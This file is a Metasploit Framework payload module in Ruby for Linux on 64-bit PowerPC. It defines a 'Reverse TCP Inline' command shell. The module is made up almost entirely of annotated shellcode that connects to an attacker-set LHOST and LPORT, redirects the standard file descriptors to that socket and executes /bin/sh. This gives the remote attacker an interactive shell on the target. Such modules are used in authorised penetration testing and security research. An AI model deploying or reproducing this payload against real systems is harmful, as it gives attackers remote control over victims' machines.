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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 183
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  include Msf::Payload::Single
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  include Msf::Payload::Linux::Ppc::Prepends
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Linux Command Shell, Reverse TCP Inline',
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        'Description' => 'Connect back to attacker and spawn a command shell',
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        'Author' => 'Ramon de C Valle',
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        'License' => MSF_LICENSE,
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        'Platform' => 'linux',
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        'Arch' => ARCH_PPC64,
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        'Handler' => Msf::Handler::ReverseTcp,
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        'Session' => Msf::Sessions::CommandShellUnix,
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        'Payload' => {
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          'Offsets' =>
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                  {
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                    'LHOST' => [ [ 54, 58 ], 'ADDR16MSB' ],
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                    'LPORT' => [ 62, 'n' ]
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                  },
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          'Payload' =>
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                       "\x7f\xff\xfa\x78" + #   xor     r31,r31,r31                #
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                       "\x3b\xa0\x01\xff" + #   li      r29,511                    #
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                       "\x3b\x9d\xfe\x02" + #   addi    r28,r29,-510               #
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                       "\x3b\x7d\xfe\x03" + #   addi    r27,r29,-509               #
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                       "\xfb\xe1\xff\xf9" + #   stdu    r31,-8(r1)                 #
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                       "\xfb\x81\xff\xf9" + #   stdu    r28,-8(r1)                 #
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                       "\xfb\x61\xff\xf9" + #   stdu    r27,-8(r1)                 #
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                       "\x7c\x24\x0b\x78" + #   mr      r4,r1                      #
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                       "\x38\x7d\xfe\x02" + #   addi    r3,r29,-510                #
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                       "\x38\x1d\xfe\x67" + #   addi    r0,r29,-409                #
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                       "\x44\x00\x00\x02" + #   sc                                 #
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                       "\x7c\x7a\x1b\x78" + #   mr      r26,r3                     #
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                       "\x3b\x3d\xfe\x11" + #   addi    r25,r29,-495               #
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                       "\x3e\xe0\x7f\x00" + #   lis     r23,32512                  #
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                       "\x62\xf7\x00\x01" + #   ori     r23,r23,1                  #
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                       "\x3a\xc0\x04\xd2" + #   li      r22,1234                   #
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                       "\x96\xe1\xff\xfc" + #   stwu    r23,-4(r1)                 #
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                       "\x96\xc1\xff\xfc" + #   stwu    r22,-4(r1)                 #
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                       "\x93\x61\xff\xfe" + #   stw     r27,-2(r1)                 #
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                       "\x7c\x35\x0b\x78" + #   mr      r21,r1                     #
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                       "\xfb\x21\xff\xf9" + #   stdu    r25,-8(r1)                 #
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                       "\xfa\xa1\xff\xf9" + #   stdu    r21,-8(r1)                 #
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                       "\xfb\x41\xff\xf9" + #   stdu    r26,-8(r1)                 #
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                       "\x7c\x24\x0b\x78" + #   mr      r4,r1                      #
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                       "\x38\x7d\xfe\x04" + #   addi    r3,r29,-508                #
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                       "\x38\x1d\xfe\x67" + #   addi    r0,r29,-409                #
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                       "\x44\x00\x00\x02" + #   sc                                 #
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                       "\x7f\x64\xdb\x78" + #   mr      r4,r27                     #
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                       "\x7f\x43\xd3\x78" + #   mr      r3,r26                     #
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                       "\x38\x1d\xfe\x40" + #   addi    r0,r29,-448                #
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                       "\x44\x00\x00\x02" + #   sc                                 #
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                       "\x37\x7b\xff\xff" + #   addic.  r27,r27,-1                 #
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                       "\x40\x80\xff\xec" + #   bge+    <cntsockcode64+108>        #
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                       "\x7c\xa5\x2a\x79" + #   xor.    r5,r5,r5                   #
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                       "\x40\x82\xff\xfd" + #   bnel+   <cntsockcode64+132>        #
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                       "\x7f\xc8\x02\xa6" + #   mflr    r30                        #
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                       "\x3b\xde\x01\xff" + #   addi    r30,r30,511                #
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                       "\x38\x7e\xfe\x25" + #   addi    r3,r30,-475                #
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                       "\x98\xbe\xfe\x2c" + #   stb     r5,-468(r30)               #
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                       "\xf8\xa1\xff\xf9" + #   stdu    r5,-8(r1)                  #
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                       "\xf8\x61\xff\xf9" + #   stdu    r3,-8(r1)                  #
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                       "\x7c\x24\x0b\x78" + #   mr      r4,r1                      #
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                       "\x38\x1d\xfe\x0c" + #   addi    r0,r29,-500                #
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                       "\x44\x00\x00\x02" + #   sc                                 #
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                       '/bin/sh'
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        }
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      )
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    )
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  end
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end
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